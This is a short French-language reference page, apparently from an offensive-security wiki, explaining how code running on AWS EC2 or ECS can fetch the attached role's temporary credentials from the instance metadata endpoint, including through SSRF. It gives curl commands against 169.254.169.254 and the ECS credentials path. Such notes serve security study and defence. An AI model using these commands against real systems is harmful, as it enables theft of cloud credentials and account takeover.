Chaque instance EC2 et chaque tâche ECS dotée d'un rôle atteint ses identifiants via l'endpoint de métadonnées link-local à 169.254.169.254. Tout ce qui peut émettre une requête HTTP depuis l'instance, un shell, une application web vulnérable ou un SSRF, peut demander au service de métadonnées les identifiants temporaires du rôle et repartir en tant que ce rôle.
Ce qui s'y rattache#
- IMDSv1 : l'endpoint GET non authentifié, le cas le plus simple.
- IMDSv2 : le flux jeton-d'abord et ce qu'il faut pour le satisfaire.
- SSRF : atteindre l'endpoint via une server-side request forgery dans une application.
L'endpoint#
# role name, then its credentials (IMDSv1 form)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# ECS task role uses a different path
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI